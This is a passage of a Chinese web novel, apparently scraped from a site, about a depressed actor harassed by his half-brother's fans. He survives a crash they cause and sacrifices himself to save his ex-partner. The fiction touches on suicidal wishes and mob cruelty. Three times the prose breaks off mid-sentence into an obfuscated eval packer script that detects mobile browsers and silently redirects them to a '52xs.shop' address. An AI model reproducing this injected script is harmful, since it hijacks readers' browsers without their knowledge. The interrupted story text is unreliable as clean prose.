「要真是季然的极端粉动的手呢?」 否则季然为什么不出来,为什么闹成这样一个字都不说,任凭舆论疯狂发酵? 系统看得很清楚,它有微表情分析插件,知道十四岁的季然说了谎——诚然,可能是畏惧当时更加恐怖的父母,可如今他们的双亲都已过世。 为什么还不站出来解释? 为什么就任凭事情一路闹到这个地步? 「让他选。」系统很气,「他帮你,还是帮季然?」 季斓冬低头,看了一会儿床边气冲冲的蘑菇。 系统:「干嘛?」 “你是反派救赎系统。”季斓冬好心提醒,“不是反派教唆系统。” 系统:「……」 季斓冬确实不认为有这种必要。 倒不是因为圣母心发作……只不过是没必要。 乏味倦怠充斥身心,思维是木的,没有动力去做这么复杂的事。 至于厉行云。 他已经和厉行云分手了,厉行云想怎么做都自由。 季斓冬撑起身,他的动作有些异样的缓慢,这是药物效果,这些药能让人不再痛苦,但也会把人变得木然。 不舒服,但至少平静。 平静,视野模糊充斥雪花噪点,耳边有不间断的尖细电流声。 仿佛意识和一切现实剥离,只是在打一场超大型仿真游戏,世界在荧幕后,身体也在荧幕后,受遥控杆操纵,一个指令只对应一个行动。 季斓冬系鞋带,打好结,站起身,去拿自己的衣服。 躺了太久,走路不算容易,前几步都要扶着,直到重新找到两条腿。 季斓冬把药装好。 厉行云一步不落地跟着他。 季斓冬停在衣柜前,有点忘了自己是要做什么,看到厉行云手里的外套,伸手接过:“谢谢。” “哥。”厉行云小声问,“你要出去散步,是不是?” 他的声音很轻,藏着些胆怯地哀求,仿佛生怕季斓冬回答“不是”。 季斓冬也的确被他问住,想了一会儿,刚要开口,已经被厉行云握住手:“带着我,行吗?” “我给你买烟,哥,还有药。”厉行云目不转睛看着他,“你想要多少都行。” 这的确是个有些令人动摇的诱惑。 季斓冬手里没有钱,他身上有诸多劣习,“没有良好的储蓄习惯”是其中不算起眼的一项。 “好吧。”季斓冬并不坚持,“厉总,谢谢你包养我。” 厉行云打了个哆嗦,吃力扯唇,笑容难看惨白。 他仔细帮季斓冬把大衣穿上,系好扣子,陪着季斓冬出门,走到门口,发现季斓冬在回头看。 季斓冬问蘑菇:“出去散步吗?” 系统早就想提醒他了:「……别人看不到我。」 “我知道。”季斓冬安慰它,“我能看到,别灰心。” 系统:「……」 神特么别灰心。 厉行云眼睛红得跟个兔子一样,都快哭了。 系统发着愁叹气,跟上季斓冬,落在那只骨节分明的手掌上。 它被季斓冬塞进保暖的风衣口袋。 透过缝隙看着满天星辰,满是雪花点的虚拟屏幕,停在少年清瘦的挺拔背影。 十七岁的季斓冬被公司压榨到极点,三个摄影棚连轴转,回来看季然,带着这个同母异父的弟弟去看心理医生。 似乎没人觉得这奇怪,没人想过倘若季斓冬是罪魁祸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344631|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 首,为什么要自讨苦吃来这一出,又或者这就是反派。 反派被憎恨、被审判是天经地义。 反派该死。 …… 厉行云给季斓冬买了烟。 春城不贵,一包只要两块钱,季斓冬让厉行云站远,自己留在吸烟区,低头点烟,火苗映着眉宇。 风把火苗吹得跳动,时亮时暗,季斓冬点了几次,火都被吹灭。 厉行云实在看不下去,走过来帮他点:“哥,你教教我。” “教你什么。”季斓冬问,“抽烟?” 厉行云眼眶通红,梗着脖子点头。 季斓冬咬着烟,微微偏头,等火星蔓开猩红:“对身体不好。” 厉行云想拽他的袖子:“我不怕。” 季斓冬:“没必要。” 他很和气,脾气不错,耐心躲开厉行云的手。 厉行云晃了下,咬着牙,把几乎出口的话吞回去,又去握他的胳膊。 季斓冬被他推得站不稳,后退到墙边,背后靠着商场不知道多久没洗的外壁:“有灰,脏。” 厉行云不敢再用力,季斓冬肋间的伤还没好全。 “不脏。”厉行云哑声求他,“哥。” 季斓冬低头,静静看着眼前的身影,他们朝夕相处五年,熟悉到无需思考,知道厉行云要他咬着的这支烟。 厉行云抬手,手指战栗着发抖。 他把季斓冬的烟抢走,仰头索吻,动作凶狠仿佛撕咬,力道却小心到不敢呼吸,季斓冬……季斓冬没什么反应。 季斓冬似乎并不在意。 他不解释什么叫“没必要”,任凭厉行云做什么,只是在被抱紧时,生理性地负痛闷哼。 厉行云忙松开,手却还抓着他的胳膊,胸口起伏。 闪光灯刺人眼睛。 厉行云的瞳孔缩了下,倏地扭头,是几个打扮很青春靓丽的身影,拿手机偷拍的那个忘了关闪光灯,脸色有些泛白。 但迎着厉行云冰冷的视线,反倒被激起叛逆,壮着胆子指季斓冬:“你还跟这种人渣搞在一起!你对得起季然吗?!” “就知道你之前都是装的,假切割真深情是吧?还真是超爱,藏都藏不住。” “阿然做错了什么!” “他凭什么要被你们折磨,被你们吸血?!?” 这几个粉丝越说越气,声音也越拔越高,引来不少人围观。 季斓冬这张脸实在好认,不一会就挤得人影幢幢。 其中一个甚至打开直播,趁乱往前挤,几乎怼去季斓冬脸上:“出来逛个街,没想到!果然露馅了,怪不得阿然会抑郁,这世上根本就没人真心对他……” 镜头被横探过来的手遮住。 厉行云护着季斓冬,瞳孔漆黑冰冷,脸色沉得风雨欲来。 “你要干什么?”那粉丝打了个哆嗦,撑着气势,“告诉你,你敢胡来我们就敢报警……警察马上就来!” 厉行云漠然,把夺下的手机抛回去,粉丝连忙调转屏幕,错愕地发现直播间并没被关掉。 厉行云只是用手机给一个陌生号码发了条短信。 没几分钟,高档豪车停在路口,全副武装的人影从车上下来,口罩、帽子、墨镜,犹疑着不敢迈步。 即使遮掩成这样,也有人一眼认出来,捂着嘴惊呼。 “过来。”厉行云垂着眼,声音很冷,“你自己处理。” “别说谎。” 他的嗓音沙哑:“季然。” 5. 我没有生气 季然缩在口罩和墨镜后面。 他近两年流量不错。 毕竟有厉行云厉总扶持,长得又清秀柔弱,性情温顺,很对一些粉丝的胃口。 只是最近,季然很少出现在公众面前,对外的说法是状态不好,暂时停工在修养调理。 “厉行云!”有粉丝愤怒质问,“你终于装不下去了是不是?你想逼死然然吗!” “你用阿然给你挣钱,靠着阿然的热度做你那个破公司,以为我们看不出来?现在用完就扔,你还是人吗?” “然然他需要支持,需要保护,你做到了哪样?!?你跟差点害死他的人在这偷情……” 厉行云哂笑。 他过去居然没发现自己蠢,蠢得犯贱,蠢得不可理喻。 季然的脸色不好看,他试图劝住这些过激的粉丝,但骂红了眼的粉丝只当他委曲求全,更怒不可遏,叫嚷声更高。 厉行云不理会,保镖把人群分开,他要先把季斓冬送回车上。 季斓冬还没抽完烟:“外面不是吸烟区了。” “没事,哥。”厉行云伸手抱住他,“回家想干什么干什么,外面吵,我们家清净。” 他不敢表现出任何一点异样,把忐忑死死嚼烂硬吞下去,屏着呼吸,看季斓冬的眼睛。 季斓冬似乎不理解这些人在吵什么,也没意识到和自己有关,而季然的出现,也没让他的视线有任何波动。 看到季斓冬被厉行云带走,季然忽然忍不住,追上来小声叫:“哥……” 后头的声音消失在厉行云冰冷的视线里。 季然低头,红了眼眶。 季然的脾气很怯懦,不敢争抢,不敢在人多的地方说话,这也是他吸粉的地方,很多人因此认为他温软善良。 厉行云或许也这么想过,他扶着季斓冬坐进车里,心中自嘲着恍惚,想不通自己过去是怎么想的。 谁弱谁就有理? 谁看起来委屈难过,谁就是受害者? “季然。”厉行云开口,并不特别克制声音,附近的人能听清,“差点害死你的人。” 厉行云垂着视线:“是谁?” 季然忽然重重打了个寒颤,脸色泛白。 厉行云问:“是谁?” 他要季然在这把话说清楚,要季然不准说谎,对着闹事粉丝给出明确答案。 季然哀求:“阿云……” 这次季斓冬听清,抬起头,辨认身旁站着的这两个人。 厉行云只想狠狠扇自己几巴掌,或者拧掉自己的头。他仓促上车,和季斓冬一起挤在后座,几乎是用砸的重重关上车门,不安地去吻季斓冬。 季斓冬提醒:“烟。” 他手里还有烟,厉行云动作这么大,掉落的烟灰会把昂贵的高档真皮座椅烧出窟窿。 厉行云不管,他胸口被强烈的恐惧占据:“我和季然没关系。” 他像个拙劣的复读机,一遍遍重复,喉咙干涩沙哑:“没关系,哥,你信我,行吗?信我一回,就一回。” 季斓冬哑然,这事无所谓,但既然厉行云这么在意:“嗯。” 厉行云仿佛被赦免,胸口起伏着想吻他,却被抬手抵住肩膀,轻轻推开。 厉行云僵住。 季斓冬觉得凡事得礼尚往来,他答应了厉行云一件事,厉行云也该答应他一件:“我现在不想,厉总。” 他现在不太想做这种事,不想演亲吻的桥段。 身体和思维脱节,却又仿佛都由一个劣质发动机驱动,而发动机里的燃料即将耗尽,于是连演戏的力气也溃散。 季斓冬轻声说:“我累了,想睡觉。” 厉行云捧住季斓冬的脸,看着这双眼睛,季斓冬的视线很平和,没有波动。 厉行云张开嘴唇,喉咙动了两下,发不出声。 “我没有生气。”季斓冬解释,他猜厉行云想问这个,“你可以下车,去帮季然,他哭了。” 厉行云慌乱地摇头。 “回家。”厉行云仓促吩咐司机,又握住季斓冬的手,“哥,回家行不行?你累了,咱们就回家睡觉。” 季斓冬问:“你会怪我吗?” 这个问题像是鞭子,抽得厉行云脊梁一颤,张了张口,脸上血色褪尽。 ……会这么问,当然是因为厉行云曾经这么做。 季斓冬毕竟是反派,他不是好人,曾经放肆嚣张,做事没有那么多顾忌,因为不满厉行云总是帮季然,故意在那种事上把人弄得腿软。 结果那天夜里季然抑郁发作,给厉行云打了十几个电话。 无人接听,季然被经纪人连夜送去了医院。 厉行云因此和季斓冬冷战了很久。 他以为季斓冬不在意,季斓冬那段时间依然我行我素,甚至还和平时一样给他买礼物、做烛光晚餐,那天晚上厉行云没回家,翌日一早,在垃圾桶里看见没动筷子的几盘菜,十几个空的烈酒瓶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344632|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 季斓冬不怎么沾酒,但喝不醉,也不发酒疯,只是盖着毯子在沙发上睡觉。 甚至连客餐厅都被收拾得挺整齐干净。通了一宿的风,客厅里没有酒气,但冰冷,没温度也没人气。 季斓冬睁开眼睛,看见回家的厉行云,把人拉进失温的怀里抱着,他们就这么和好,仿佛什么事都没发生。 …… 从记忆里醒神,厉行云只觉得舌根发苦。 他想起那天,季斓冬抱着他,有种隐蔽的、从胸腔里蔓延出来的无声绝望,季斓冬的嗓子很哑,屈起手指,轻轻揉着厉行云的头发:“你问问我。” “行云。”季斓冬很少叫他名字,那天季斓冬的声音很柔和,沙哑异常,“你问我,我和季然,是怎么回事。” 季斓冬希望厉行云问他。 季斓冬其实是个很自负的人,自负的人通常傲慢,不屑于解释,更不屑于求救,哪怕已经躺在寒光闪闪的刀山上。 那是唯一的一次,季斓冬表现出求救的信号。 但厉行云和他赌气,梗着脖子偏不肯问,就要顾左右而言他:“快去洗澡,故意装可怜啊季影帝?” 季斓冬静了几秒,忽然笑了,声音很轻:“啊。” 季斓冬松开抱着他的手,慢慢爬起身,站在原地想了一会儿要干什么,然后去洗澡。 厉行云当时不明白季斓冬在笑什么,现在他也不明白,只是今天,像是有根针狠狠扎进大脑,他猝然想明白了一件事。 他不肯问。 季斓冬就不说了。 季斓冬其实比任何人都封闭内心,这不仅仅源于秉性里的自负傲慢,更因为成长环境,哪怕完全不清楚真相,也至少有一点足够明确。 这二十七年,季斓冬没有生出“依靠”的概念,生父和继父砍伐他,生母和季然寄生他。 季斓冬唯一做的一次尝试,是在宿醉后的沙发里,抱着咬着他脖颈泄愤的厉行云。 ……厉行云看着自己的双手,过去他不知道,原来被人推开是这个滋味,好像掉进空茫茫冰天雪地。 厉行云反复回想,自己当时究竟是犯的什么浑。 他实在想不起来。 仗着季斓冬纵容,他没少犯浑。 所以他好像也完全没发现,那之后,季斓冬的话变得很少,多数时候听厉行云说自己的事,剩下的时间上床和接吻。 他不问。 季斓冬什么都不想说了。 6. 因为我是人渣 车外,季然在磕磕巴巴地解释,那个视频其实并不是真相,他在十四岁时说的话,也并不是真相,是畏惧于控制狂父亲而编造的指控。 这些是实话。 季然的生父——也是季斓冬的继父,是个相当傲慢的白人。 凭着时尚圈的资源,在圈子里做模特摄影行当,却又从不掩饰对亚洲人的轻蔑、鄙视和厌恶。 而季然和季斓冬的母亲,范莹华,作为“知名经纪人”,更像是两任丈夫权力的延伸。 她为第一任导演丈夫寻找满怀憧憬的新人演员,又为第二任丈夫寻找有天赋的模特。 第二任丈夫中风去世后,她也迅速枯萎垮塌,变得疯疯癫癫。 所以外界把季斓冬当成恐怖的暴君,当成压迫者和施害者。在所有人——包括厉行云的猜测里,季斓冬十五岁时杀了亲生父亲,因为未成年得以脱罪,又在二十五岁故意延误治疗,一手缔造了继父的死亡。 季斓冬的母亲不堪忍受长子的控制,被折磨得发了疯,要为两任丈夫复仇,将一把剔骨刀扎在了季斓冬的胸口。 季斓冬把范莹华送进了精神病院。 “我,我爸爸……对我不好。”季然嗫喏,“我妈妈不管,他揍我,我妈妈在一旁看着,帮他锁门……” 那个时候,季斓冬是唯一救季然的人。 所以,在那个时候,季斓冬也是季然唯一敢伤害的人。 荒谬可笑,但事实往往如此:最懦弱的人只敢伤害唯一对他们好的人,把刀狠狠扎进去,用来向施暴者献媚。 季然上了瘾——只要对医生说季斓冬的坏话,一向冷漠暴戾的父亲眼中就会满意,甚至对他和颜悦色。而他们的母亲,也在季然把一切归咎于季斓冬后,终于含着泪伸出手,把发着抖的次子拥在胸口抚摸拥抱。 这是他十四岁犯过的错,后来季然后悔,无法再直面这段过往,却没想到他的逃避,他的沉默,会把季斓冬害得这么惨。 他不敢再撒谎了。 可惜粉丝不信:“是不是季斓冬逼你这么说的?” 季然愣住,睁大眼睛,嘴唇嗫喏了下。 粉丝认定了他被强迫、被封口,被资本强迫着撒谎洗白季斓冬:“还有那个厉行云,烂人配烂人,都该死!” “然然,我们支持你,你没必要害怕他们!” “对!”这里的人群聚集超出安全限度,粉丝被维护治安的警方驱散,还热切地喊,“我们会保护你,阿然,让季斓冬死!” “你妈妈是为了保护你,才对着季斓冬动刀的!她是为了你!” “你是受害者,你母亲也是受害者,你被季斓冬控制得太深了,你要勇敢,要保护你母亲,替和你一样的弱势群体发声……” ……保姆车漠然驶出街道。 后排,季斓冬在睡觉。 厉行云只敢在这时候动手,小心翼翼,试着揽住季斓冬的肩膀,一点点让人靠在自己肩上。 季斓冬的脸上没有血色,稍长的额发垂在眉宇间,眼下有淡淡青影,他很疲倦,但睡得并不沉。 发现这双眼睛睁开,厉行云就僵住。 “哥。”厉行云不敢动了,他没想到会吵醒季斓冬,后悔得要命,“对不起……” 季斓冬揉着太阳穴,等眩晕过去,嗓音沙哑疲倦:“嗯?” 他哑然:“没事,不怪你。” “早就这样了。”季斓冬说,“睡不好。” 季斓冬早就没法在不吃安眠药的情况下,保持一段完整的睡眠——这种情况在他们分手后加重,可能是因为缺少睡前运动。 这算是个不大不小的玩笑,用来缓和气氛,厉行云吃力掀了掀唇角,握住季斓冬的手。 他尝试着,像过去一样,爬进季斓冬怀里。 季斓冬静静望着他,神情依然平静,任凭厉行云抱他、解他的衣领,吻他的下颌和颈窝,苍白的皮肤因此染上些薄红。 但没有更多反应,季斓冬有些抱歉,毕竟他正被厉行云包养,要靠厉行云给的钱买药和烟:“我吃的药会影响性-冲动。” 厉行云僵了下,当没听见,抱住季斓冬,听着瘦削胸膛里有一下没一下的心跳声。 “没事。”过了很久,厉行云才说,“哥,我什么都不干了,在家陪你好好养着,咱慢慢养,不着急。” 季斓冬笑了声。 厉行云打了个激灵,仰起头。 季斓冬轻声说:“厉总。” “我和你说些话,你别生气。”季斓冬的咬字很慢,嗓音沙哑轻缓,“让我说完。” 季斓冬低头,看着怀里的厉行云。 “你是个很有正义感的人。” 厉行云不敢打断他,只是脸色白了白,抿紧了唇徒劳摇头,握紧季斓冬的手。 季斓冬的视线落向窗外。 “什么事,凡是你看不惯,就一定要管。”季斓冬说,“让你觉得惨的人,你就会同情,就要帮要救,我知道你不是喜欢季然。” 季斓冬一直都知道,他又不蠢。 只是很多事,知道与不知道,有区别么。就算知道,又能改变么。 既然不能,又有什么必要点破。 “你觉得他惨,是被我害成这样,所以你生我的气。”季斓冬说,“现在也一样。” 现在也一样。 厉行云脸上的血色迅速褪尽,他盯着季斓冬,眼里哀求,看起来想把脑袋摇掉。 “你只是觉得我惨。”季斓冬还是把这话慢慢说完,“惨到你看不下去,于是要管,你只是想要救我。” 季斓冬收回视线。 他望着厉行云:“但你有没有想过,我是罪有应得。” 这次的话音刚落,厉行云再忍不住,通红着眼睛,扑上来把他吻住。 厉行云哆嗦得厉害。 他急促喘气,完全压不住喉咙里的破碎呜咽,囫囵拼命摇着头。 他把嘴唇咬出了血,于是亲吻季斓冬时,也带着浓浓血腥气,他摸索着攥住季斓冬的手,不由分说握紧,仿佛死死抓着一个自愿溺毙在水中的人。 季斓冬不希望他说话,于是厉行云只能用这种办法强行打断,他亲吻季斓冬,哀求一样舔舐轻咬失温的嘴唇。 司机忽然惊呼,车辆剧烈一晃,前面那辆车里坐的是季然的过激粉,因为认定了季斓冬是逍遥法外的杀人犯、厉行云也是沆瀣一气的帮凶,愤而向他们抛掷垃圾杂物。 这是条外环路,车辆速度普遍很快,这一闪避就彻底失控,轧着泥水撞向路旁工地的手脚架。 厉行云猝然睁大了眼睛,他用身体徒劳护住季斓冬。 天摇地动的巨响。 …… 恢复知觉时,现场已经乱成一团。 救护车、警车、骑警的摩托,各色灯光闪烁不停,司机被救出送医,严重变形的驾驶室死死挤压着后排乘客。 消防被紧急调来,强行破拆施救,切割机转得火花四溅。 厉行云的一条腿被卡住,扭曲变形,剧痛到麻木。 他顾不上管,慌乱地抱紧季斓冬:“哥!” 季斓冬比他醒得早,仍静静坐着,摸了摸他的头发,声音很轻:“嗯。” 厉行云吓得发抖,脸色惨白,紧紧攥住季斓冬的胳膊:“你没事?” 季斓冬点头。 他看起来仿佛的确没事,除了脸上过分缺乏血色,甚至看不出疼痛,也没有车祸该有的惊惧不安。 “我干的好事。”厉行云全想通了,恨不得狠狠给自己几巴掌,“罪有应得的是我,我是个混账王八蛋,哥,是我养的蛊,我放纵季然的极端粉,就因为我是个自以为是的傻逼,哥你说得对,谁弱我帮谁。” “我现在知道错了,哥,我真知道了,我后悔得要死,你信我好不好?” 厉行云的右腿伤到股动脉,在不停失血,他觉得口干舌燥头晕目眩,身体一阵阵发抖。 季斓冬按了按他的脖颈:“趴下。” 厉行云恍惚着被按下。 他才发现,季斓冬一直在和施救人员交流,他们被卡在后排,坍塌的脚手架扎穿车身。 情况复杂,只能一个一个救。 季斓冬向外面描述车内情况,指引施救人员切割严重变形的车身,有条不紊,厉行云伏在他胸口,眼睛酸涩剧痛,像被一只手用力揉捏心脏。 和救援人员交流完,季斓冬收回视线,看向没抽完的半支烟。 就掉在座椅上。 厉行云拼命扯起嘴角,摸索火机:“哥,我给你点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344633|152638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话太缺乏常识,是真的让季斓冬笑了下:“不能玩火,尿炕。” 这是玩笑,正经原因是现场情况危机四伏,连切割机都用得心惊胆战,生怕火星和漏出来的汽油来个亲密接触。 厉行云挨了教训,缩了缩脖子,尽力伸手捡起那半支烟,交给季斓冬。 “哥。”厉行云壮着胆子,尝试拉住季斓冬的手指,“我估计得住院了,快,狠狠宰我一笔。” 季斓冬接过烟:“厉总这么大方?” 这大概是唯一的一次,季斓冬叫他“厉总”,厉行云没被钝刀子割心。 这似乎是种绝望的、饮鸩止渴般的欢喜。 起码季斓冬在和他要东西。 起码季斓冬在和他好好说话。 “来张卡。”季斓冬点菜,“来套房子。” 厉行云拼命点头,怕季斓冬误解,连嘴也用上:“没问题,哥,有套江景房,我这就叫人收拾。” 季斓冬问:“还能要吗?” 厉行云毫不犹豫:“能。” “不联系了。”季斓冬问,“行吗?” 厉行云的身体僵了下,脸上凝着笑,压了压慌乱心跳,小声问:“为什么啊?哥,你跟我说说呗。” 季斓冬摸了摸他乱糟糟的暗淡红发。 厉行云拙劣地模仿过去的自己,从外表到脾气语调,其实很不成功,季斓冬已经尽力尝试过,对不上,找不到过去的影子。 也或许那并不是过去的影子。 只是季斓冬的自私视角下,经过潜意识加工,一个并不真实的主观幻象。 “因为我是人渣。”季斓冬低头,指腹按了按厉行云剧烈发抖的眼尾,“我有病,行云,你会被我逼疯,我不想等到这一天。” 厉行云对他,有愧疚,有懊恼悔恨,有因为他下场太惨生出的怜悯。 这些情绪混杂着伪装成爱。 季斓冬这么认为。 他无法纠正自己的偏执想法,他只相信一次爱,坏了毁了就不认为还能复原,两个人有根本性分歧。 这样勉强着耗下去,谁都不舒服,迟早,厉行云对他的愧疚、懊悔、怜悯,会消耗殆尽。 厉行云睁大眼睛看着他,笑还挂在脸上不敢褪,眼泪大颗渗出,他握住季斓冬的手,张了张口想说话,却胸腹痉挛着吐出一口血。 混乱的撞击中,只顾着护住季斓冬,他的脏器也受了伤。 季斓冬帮他抹去唇角的血。 “你看。”季斓冬说,“行云,我理智上知道你疼,但我没有感觉,我是个完全自私的人。” “不……不是。”厉行云哑着嗓子拼命摇头,“哥你不是,你是被我伤狠了。你忘了,当初我摩托赛摔断肋骨扎了肺,你一宿一宿睡不着,到处问怎么不留后遗症,连藏医你都扛着高反亲自去找了,砸了几十万给我买药……” 药装在仁布玉石刻出的小葫芦瓶里,价值不菲,有细密的祈福藏文微雕。 两人分手的时候,厉行云把它们还给了季斓冬。 这描述不确切。 厉行云把它们扔进一个大麻袋,塞进季斓冬的怀里,把人推出门。 季斓冬想了一会儿,的确不记得了,但厉行云的话又勾起一轮幻视幻听,他看见冰冷漠然、黑头发的厉总,讥讽地叫他“季影帝”,背后护着季然。 “哇。”季斓冬点评,“我好生气。” 这话很轻松,有些调侃的意味,甚至还带了点玩世不恭的散漫笑意,很像过去那个嚣张到有恃无恐的季斓冬。 厉行云失血太多,又吐了两口,脱力的手指却不顾一切紧攥着季斓冬:“对,哥,生我气,狠狠生。” 季斓冬点点头。 厉行云求他:“报复我,想怎么报复我都行,哥,我活该……” 厉行云的意识逐渐模糊,只察觉到一根钢架被割断,终于破开口子,施救人员七手八脚地往外拉他……能爬出去的出口越来越小。 越来越小,严重倾斜的脚手架压在车顶,变形还在继续,季斓冬抬手按上他的肩膀,季斓冬似乎不意外。 一只手还夹着烟,很轻松,像无法无天的季影帝。 季斓冬把他从扭曲的车厢里推出去。 几十米高的脚手架,轰然坍塌。 7. 沽名钓誉 这之后的一切,都像被污染的劣质电影胶片。 跳帧,卡顿,满是污损。 厉行云眼中的世界变成这样,剧烈耳鸣淹没一切嘈杂,听不见渗血的凄厉嘶喊,他挣扎着摔落担架,连滚带爬,拼命想要回那片废墟里去。 季然慌张赶来,这事和他有关,偏激粉一口一个“然然”,警方请他协同调查, 季然只来得及扯住厉行云:“阿云,别冲动,不会有事的,他们在救援了,你先去医院……” 话音被视线猝然掐灭。 季然不安,僵在原地,厉行云看他的眼神让他害怕。 “不会,有事。” 季然说季斓冬不会有事,在季然的描述中,他这个同父异母的兄长傲慢、冷淡、坚不可摧,不会被任何人和事影响。 “然后……我就信了。 厉行云的嗓音彻底嘶哑,他又吐了一口血,整个人看上去疯狂而狰狞:“你总这么说,季然,偏偏我就真的信。” 厉行云问他:“你说我是不是该死?” 答案当然是肯定。 厉行云无数次回想,自己是不是疯了,放着那么好的季斓冬不信。 去信季然。 就因为季然看着可怜,罹患抑郁要死要活,会委屈,会哭? 因为季然是个懦弱的废物? 太可笑也太荒谬了,厉行云被救援人员强行控制,打了镇定,绑在担架上紧急止血。他什么都做不了,绝望噬咬骨髓,模糊的视线尽处,仿佛看见季斓冬的手。 苍白的、颀长好看的手,松松夹着支烟,躺在吞噬一切的废墟上。 “季然。”厉行云低声开口,他极力抵抗昏沉,盯着发抖扶着担架的季然,“要是有天,我打算自杀,一定带上你。” 季然受了惊,仓皇松开手后退,惊惧地看着他。 厉行云笑了一声,身体抽搐,血从喉咙里不要钱地涌出。 他好后悔。 厉行云挪动眼睛,木然着找季斓冬的手。 当初摩托赛,他翻了车,季斓冬第一个赶到,全程用手托着他受伤的颈椎,风衣下摆浑不在意地沾着机油和血。 现在厉行云不再祈求这个,他乞求那只手,能稍微动一下,回应救援人员急切不断的询问。 他乞求季斓冬别死,让他付出什么都行,让他死也行,有罪该死的是他。 要连累,连累季然不行吗,什么锅配什么盖,让他把这个脓包累赘带着一块死,为什么要连累季斓冬? 厉行云吃力张口:“哥。” 他的声音被鲜血淹没。 救护车的鸣笛呼啸着穿透夜色,这一宿混乱无比,警方、医院、救援,第二轮长出来的是鬼鬼祟祟的镜头和狗仔。 蔓延虚与实的蛛丝,牵扯出一轮又一轮写着“爆”的热搜,极端粉被追捧成惩恶扬善的英雄,成片的狂热评论轰炸压过无关人等的震惊质问:活该。 活该,季斓冬该死,该死,该死,厉行云敢吃回头草帮霸凌暴力杀人犯,背叛季然,也该死。 一片昏天暗地的疯狂里有人错愕:你们在干什么。 这是杀人,故意杀人! 哪怕季斓冬真的有罪,审判他的也该是法律,不是私刑。 更何况,季斓冬究竟做了什么,过去的真相是什么,“杀人犯”是怎么回事,范莹华为什么要杀自己的儿子……这些事到现在依然没人真正知道。 “你们想过没有。” 有人留言,实在困惑费解:“万一,假如万一,那个视频里,季然真的说谎了呢?” …… 这些混乱与系统无关。 系统忙了大半个月。 季斓冬的死亡申请没有被批准,系统给他传达回执的时候,甚至恍惚了几秒,才想起自己的定位是“反派救赎系统”。 这还是第一次,它代替反派向总部申请,能不能就这样算了……救赎值不要了、剩下的剧情不走了。 可惜不行。 季斓冬并没能成功死在脚手架下,坍塌的钢架恰好支起一个狭小的三角空间。 这是剧情的不可抗力,厉行云被送往医院抢救的四个小时后,季斓冬也被救出,没受什么太重的伤,只是在精神科留观。 因为过往病历说明,季斓冬有精神病史,重度幻视、幻听、思维混乱,已经很危险,有伤人可能。 如果厉行云在,季斓冬当然可以出院,但现在厉行云受了重伤,还躺在ICU里,季斓冬也就只好被当成高危精神病患者监护,坐在病房里和蘑菇聊天。 季斓冬的心态倒是不错,邀请系统蘑菇:“吃药吗?” 系统:「……不了谢谢。」 系统有点不放心:「季斓冬,你还好吗?」 「他们不准你死,是因为发现你是好人不是反派,好人不该死。」 系统极力解释:「你相信我,季斓冬,我是系统我不骗人。」 “天啊。”季影帝配合,流水账语气念台词,“真的吗?” 系统:「……」假的。 季斓冬死不了,是因为如果季斓冬现在死了,季然这个主角人设就会崩掉,真变成怯懦的脓包废物,等厉行云从ICU里出来,又会搞崩仅剩的剧情线。 「不说这个。」系统拙劣岔开话题,「季斓冬,你做点开心的事,你花钱,乱花钱。」 反正花的是厉行云的钱。 厉行云有的是钱。 季斓冬已经很努力地花了:“我刚吃了三万块的海鲜饭。” 点的外卖。 本以为送过来的是盒饭,结果送过来的是活蹦乱跳的海鲜和一个厨师。 幸好这是私立医院,档次不低,有停机坪让厨师表演爆炒澳洲大龙虾。 系统:「那是因为你厌食变严重,吃什么吐什么,你想试试贵的,这不叫乱花钱。」 季斓冬还网购了一堆高档衣服。 系统:「你就是干这行的,这么多人处心积虑混进来偷拍,你穿好看点怎么了?不叫乱花钱。」 季斓冬还订了块五十万的手表。 系统:「那是因为、因为就这个好看。」刚好能挡住手腕上的疤。 季斓冬还买了辆超跑,很拉风,过几天提车。 系统拼了:「因为你遭遇了离谱的疯狂车祸,这会让人患上PTSD,就是创伤后应激障碍,你决心保护自己,把方向盘握在自己手里……」 季斓冬轻轻笑了声。 系统怔住。 系统很少见他这么笑,懒洋洋的,有点漫不经心,偏偏那双眼睛轻轻弯了,就透出蛊人的温存。 季斓冬给蘑菇起新名字:“反派溺爱系统。” 系统:「……」 随便吧。 季斓冬的进步已经挺大了,至少和它交流的时候,已经学会用手机打视频做掩饰,不再对着空气自言自语吓唬人。 系统尽力陪他聊天:「季斓冬,我看了你的电影。」 季斓冬是反派,反派虚荣心强,很识夸:“帅吧?” 系统:「……」 系统叹气:「帅。」 这话并不违心。 系统这些天补了季斓冬的很多电影,还有采访。 很多过去不了解的细节填充进数据库。 季斓冬有本事,演什么像什么,演好人像好人。 演个患了重病的单身父亲,把入不了戏挨爸妈骂的三岁小演员拢在怀里,哄一哄逗一逗,扎一脑袋小羊角辫。 